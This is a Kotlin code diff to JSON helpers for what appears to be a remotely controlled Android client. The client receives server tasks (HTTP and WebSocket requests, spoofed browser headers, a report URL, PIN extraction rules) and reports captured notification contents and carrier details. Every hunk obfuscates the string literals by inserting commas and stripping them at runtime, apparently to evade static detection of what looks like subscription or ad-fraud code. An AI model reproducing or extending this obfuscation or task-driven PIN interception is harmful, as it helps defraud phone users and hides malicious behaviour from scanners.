|
|
|
@ -25,7 +25,7 @@ import org.json.JSONArray
|
|
|
|
import org.json.JSONObject
|
|
|
|
import org.json.JSONObject
|
|
|
|
|
|
|
|
|
|
|
|
fun Request.toJsonString(): String {
|
|
|
|
fun Request.toJsonString(): String {
|
|
|
|
val strings = "url_method_headers_body".split("_")
|
|
|
|
val strings = "u,rl_met,hod_hea,ders_bo,dy".replace(",", "").split("_")
|
|
|
|
return JSONObject().run {
|
|
|
|
return JSONObject().run {
|
|
|
|
put(strings[0], url)
|
|
|
|
put(strings[0], url)
|
|
|
|
put(strings[1], method)
|
|
|
|
put(strings[1], method)
|
|
|
|
@ -35,7 +35,7 @@ fun Request.toJsonString(): String {
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
fun Response.toJsonString(): String {
|
|
|
|
fun Response.toJsonString(): String {
|
|
|
|
val strings = "code#start_time#end_time#data#header".split("#")
|
|
|
|
val strings = "co,de#st,art_ti,me#en,d_t,ime#da,ta#hea,der".replace(",", "").split("#")
|
|
|
|
return JSONObject().apply {
|
|
|
|
return JSONObject().apply {
|
|
|
|
put(strings[0], code)
|
|
|
|
put(strings[0], code)
|
|
|
|
put(strings[1], startTime)
|
|
|
|
put(strings[1], startTime)
|
|
|
|
@ -46,9 +46,9 @@ fun Response.toJsonString(): String {
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
fun <A> List<A>.toJson(): JSONArray {
|
|
|
|
fun <A> List<A>.toJson(): JSONArray {
|
|
|
|
val strings1 = "taskId-taskVer-taskUid-lastStep".split("-")
|
|
|
|
val strings1 = "ta,skI,d-ta,skV,er-tas,kU,id-las,tS,tep".replace(",", "").split("-")
|
|
|
|
val strings2 =
|
|
|
|
val strings2 =
|
|
|
|
"step-index-time-url-cost-method-reqHeader-reqData-respCode-respHeader-respData-logs".split(
|
|
|
|
"st,ep-i,ndex-tim,e-u,rl-co,st-met,hod-re,qHe,ader-re,qD,ata-re,spCo,de-re,spH,eader-res,pD,ata-lo,gs".replace(",", "").split(
|
|
|
|
"-"
|
|
|
|
"-"
|
|
|
|
)
|
|
|
|
)
|
|
|
|
return JSONArray().let { array ->
|
|
|
|
return JSONArray().let { array ->
|
|
|
|
@ -59,7 +59,7 @@ fun <A> List<A>.toJson(): JSONArray {
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
is NotificationMessage -> {
|
|
|
|
is NotificationMessage -> {
|
|
|
|
val strings = "content_from_time_app".split("_")
|
|
|
|
val strings = "co,ntent_fro,m_ti,me_ap,p".replace(",", "").split("_")
|
|
|
|
val obj = JSONObject()
|
|
|
|
val obj = JSONObject()
|
|
|
|
obj.put(strings[0], it.content)
|
|
|
|
obj.put(strings[0], it.content)
|
|
|
|
obj.put(strings[1], it.from)
|
|
|
|
obj.put(strings[1], it.from)
|
|
|
|
@ -107,7 +107,7 @@ fun <A> List<A>.toJsonString() = this.toJson().toString()
|
|
|
|
|
|
|
|
|
|
|
|
fun BaseRequest.toJson(): JSONObject {
|
|
|
|
fun BaseRequest.toJson(): JSONObject {
|
|
|
|
val strings =
|
|
|
|
val strings =
|
|
|
|
"userId-pkg-affId-subId-androidVer-sdkVer-appVer-countryCode-telcoCode-netType-recvFlag".split(
|
|
|
|
"use,rId-p,kg-af,fId-subI,d-andr,oidVe,r-sd,kVer-ap,pVe,r-coun,try,Cod,e-te,lco,Co,de-net,Ty,pe-rec,vF,lag".replace(",", "").split(
|
|
|
|
"-"
|
|
|
|
"-"
|
|
|
|
)
|
|
|
|
)
|
|
|
|
return JSONObject().also { r ->
|
|
|
|
return JSONObject().also { r ->
|
|
|
|
@ -128,7 +128,7 @@ fun BaseRequest.toJson(): JSONObject {
|
|
|
|
fun BaseRequest.toJsonString() = this.toJson().toString()
|
|
|
|
fun BaseRequest.toJsonString() = this.toJson().toString()
|
|
|
|
|
|
|
|
|
|
|
|
fun ReportTaskRequest.toJsonString(): String {
|
|
|
|
fun ReportTaskRequest.toJsonString(): String {
|
|
|
|
return this.toJson().put("taskLogs", this.taskLogs.toJson()).toString()
|
|
|
|
return this.toJson().put("tas,kLo,gs".replace(",",""), this.taskLogs.toJson()).toString()
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
fun Map<String, String>.toJson1(): JSONObject = JSONObject().run {
|
|
|
|
fun Map<String, String>.toJson1(): JSONObject = JSONObject().run {
|
|
|
|
@ -156,7 +156,7 @@ fun Map<String, String>.toJsonString1(): String = this.toJson1().toString()
|
|
|
|
|
|
|
|
|
|
|
|
fun ByteArray.toTaskResponse(): TaskResponse? {
|
|
|
|
fun ByteArray.toTaskResponse(): TaskResponse? {
|
|
|
|
val strings1 =
|
|
|
|
val strings1 =
|
|
|
|
"userAgent-secChUa-acceptLanguage-accept-reportUrl-requestInterval-result-tasks".split("-")
|
|
|
|
"use,rAge,nt-se,cCh,Ua-acce,ptLang,uage-acc,ept-re,por,tUrl-re,ques,tIn,terval-res,ult-tas,ks".replace(",","").split("-")
|
|
|
|
val taskJsonObject = JSONObject(String(this))
|
|
|
|
val taskJsonObject = JSONObject(String(this))
|
|
|
|
val result = TaskResponse()
|
|
|
|
val result = TaskResponse()
|
|
|
|
with(taskJsonObject) {
|
|
|
|
with(taskJsonObject) {
|
|
|
|
@ -174,7 +174,7 @@ fun ByteArray.toTaskResponse(): TaskResponse? {
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
private fun JSONArray?.toTasks(): List<Task> {
|
|
|
|
private fun JSONArray?.toTasks(): List<Task> {
|
|
|
|
val strings = "taskId-taskVer-taskUid-actions".split("-")
|
|
|
|
val strings = "tas,kId-ta,skVer-taskUi,d-ac,tions".replace(",", "").split("-")
|
|
|
|
val result: MutableList<Task> = mutableListOf()
|
|
|
|
val result: MutableList<Task> = mutableListOf()
|
|
|
|
if (this == null) return result
|
|
|
|
if (this == null) return result
|
|
|
|
(0 until length()).forEach { index ->
|
|
|
|
(0 until length()).forEach { index ->
|
|
|
|
@ -192,7 +192,7 @@ private fun JSONArray?.toTasks(): List<Task> {
|
|
|
|
|
|
|
|
|
|
|
|
private fun JSONArray?.toActions(): List<BaseAction> {
|
|
|
|
private fun JSONArray?.toActions(): List<BaseAction> {
|
|
|
|
val result: MutableList<BaseAction> = mutableListOf()
|
|
|
|
val result: MutableList<BaseAction> = mutableListOf()
|
|
|
|
val strings = "type-delay-skip_error-async-disconnect_ws".split("-")
|
|
|
|
val strings = "typ,e-del,ay-ski,p_e,rror-as,ync-disc,onnect_,ws".replace(",", "").split("-")
|
|
|
|
if (this == null) return result
|
|
|
|
if (this == null) return result
|
|
|
|
(0 until length()).forEach { index ->
|
|
|
|
(0 until length()).forEach { index ->
|
|
|
|
val actionJson = getJSONObject(index)
|
|
|
|
val actionJson = getJSONObject(index)
|
|
|
|
@ -228,7 +228,7 @@ private fun JSONObject.toHttpAction(
|
|
|
|
async: Boolean,
|
|
|
|
async: Boolean,
|
|
|
|
disconnectWs: Boolean
|
|
|
|
disconnectWs: Boolean
|
|
|
|
): BaseAction {
|
|
|
|
): BaseAction {
|
|
|
|
val strings = "request-url-method-auto_cookie-headers-params-cookies-data".split("-")
|
|
|
|
val strings = "req,ues,t-ur,l-me,thod-au,to_co,,okie-he,aders-pa,rams-cooki,,es-da,ta".replace(",", "").split("-")
|
|
|
|
val httpAction = BaseAction.HttpAction(
|
|
|
|
val httpAction = BaseAction.HttpAction(
|
|
|
|
delay = delay,
|
|
|
|
delay = delay,
|
|
|
|
skipError = skipError,
|
|
|
|
skipError = skipError,
|
|
|
|
@ -262,7 +262,7 @@ private fun JSONObject.toHttpAction(
|
|
|
|
httpAction.response = actionResponse
|
|
|
|
httpAction.response = actionResponse
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
httpAction.next = optJSONArray("next").toNext()
|
|
|
|
httpAction.next = optJSONArray("ne,xt".replace(",", "")).toNext()
|
|
|
|
|
|
|
|
|
|
|
|
return httpAction
|
|
|
|
return httpAction
|
|
|
|
}
|
|
|
|
}
|
|
|
|
@ -273,7 +273,7 @@ private fun JSONObject?.toPin(
|
|
|
|
async: Boolean,
|
|
|
|
async: Boolean,
|
|
|
|
disconnectionWs: Boolean
|
|
|
|
disconnectionWs: Boolean
|
|
|
|
): BaseAction {
|
|
|
|
): BaseAction {
|
|
|
|
val strings = "next-params-filter".split("-")
|
|
|
|
val strings = "nex,t-p,arams-f,ilter".replace(",", "").split("-")
|
|
|
|
val pinAction = BaseAction.PinAction(
|
|
|
|
val pinAction = BaseAction.PinAction(
|
|
|
|
delay = delay,
|
|
|
|
delay = delay,
|
|
|
|
skipError = skipError,
|
|
|
|
skipError = skipError,
|
|
|
|
@ -301,10 +301,10 @@ private fun JSONObject?.toWebSocketAction(
|
|
|
|
disconnectWs = disconnectWs
|
|
|
|
disconnectWs = disconnectWs
|
|
|
|
)
|
|
|
|
)
|
|
|
|
if (this == null) return webSocketAction
|
|
|
|
if (this == null) return webSocketAction
|
|
|
|
val strings = "request-headers-params-cookies-response-next".split("-")
|
|
|
|
val strings = "re,qu,est-he,ade,rs-par,ams-cook,ies-re,sponse-n,ext".replace(",", "").split("-")
|
|
|
|
val request = optJSONObject(strings[0])
|
|
|
|
val request = optJSONObject(strings[0])
|
|
|
|
request?.run {
|
|
|
|
request?.run {
|
|
|
|
val strings1 = "url-data-auto_cookie".split("-")
|
|
|
|
val strings1 = "u,rl-d,ata-a,uto_coo,kie".replace(",", "").split("-")
|
|
|
|
val webSocketActionRequest = WebSocketActionRequest(
|
|
|
|
val webSocketActionRequest = WebSocketActionRequest(
|
|
|
|
url = optString(strings1[0]),
|
|
|
|
url = optString(strings1[0]),
|
|
|
|
data = optString(strings1[1]),
|
|
|
|
data = optString(strings1[1]),
|
|
|
|
@ -332,7 +332,7 @@ private fun JSONObject?.toWebSocketAction(
|
|
|
|
private fun JSONArray?.toWebSocketParams(): List<WsRequestParam> {
|
|
|
|
private fun JSONArray?.toWebSocketParams(): List<WsRequestParam> {
|
|
|
|
val result: MutableList<WsRequestParam> = mutableListOf()
|
|
|
|
val result: MutableList<WsRequestParam> = mutableListOf()
|
|
|
|
if (this == null) return result
|
|
|
|
if (this == null) return result
|
|
|
|
val strings = "wait_time-name-value-interrupt".split("-")
|
|
|
|
val strings = "wa,it_t,ime-nam,e-va,lue-in,ter,rupt".replace(",", "").split("-")
|
|
|
|
(0 until length()).forEach { index ->
|
|
|
|
(0 until length()).forEach { index ->
|
|
|
|
val param = optJSONObject(index)
|
|
|
|
val param = optJSONObject(index)
|
|
|
|
with(param) {
|
|
|
|
with(param) {
|
|
|
|
@ -372,7 +372,7 @@ private fun JSONArray?.toNameVariable(): List<NameVariable> {
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
private fun JSONArray?.toParams(): List<VarExtractRule> {
|
|
|
|
private fun JSONArray?.toParams(): List<VarExtractRule> {
|
|
|
|
val strings = "rule-expr-variable".split("-")
|
|
|
|
val strings = "ru,,le-e,xpr-va,riable".replace(",", "").split("-")
|
|
|
|
val result: MutableList<VarExtractRule> = mutableListOf()
|
|
|
|
val result: MutableList<VarExtractRule> = mutableListOf()
|
|
|
|
if (this == null) return result
|
|
|
|
if (this == null) return result
|
|
|
|
(0 until length()).forEach { index ->
|
|
|
|
(0 until length()).forEach { index ->
|
|
|
|
@ -394,7 +394,7 @@ private fun JSONArray?.toParams(): List<VarExtractRule> {
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
private fun JSONArray?.toNext(): List<Next> {
|
|
|
|
private fun JSONArray?.toNext(): List<Next> {
|
|
|
|
val strings = "contain-step-regexp".split("-")
|
|
|
|
val strings = "cont,ain-s,tep-re,gexp".replace(",", "").split("-")
|
|
|
|
val result: MutableList<Next> = mutableListOf()
|
|
|
|
val result: MutableList<Next> = mutableListOf()
|
|
|
|
if (this == null) return result
|
|
|
|
if (this == null) return result
|
|
|
|
(0 until length()).forEach { index ->
|
|
|
|
(0 until length()).forEach { index ->
|
|
|
|
|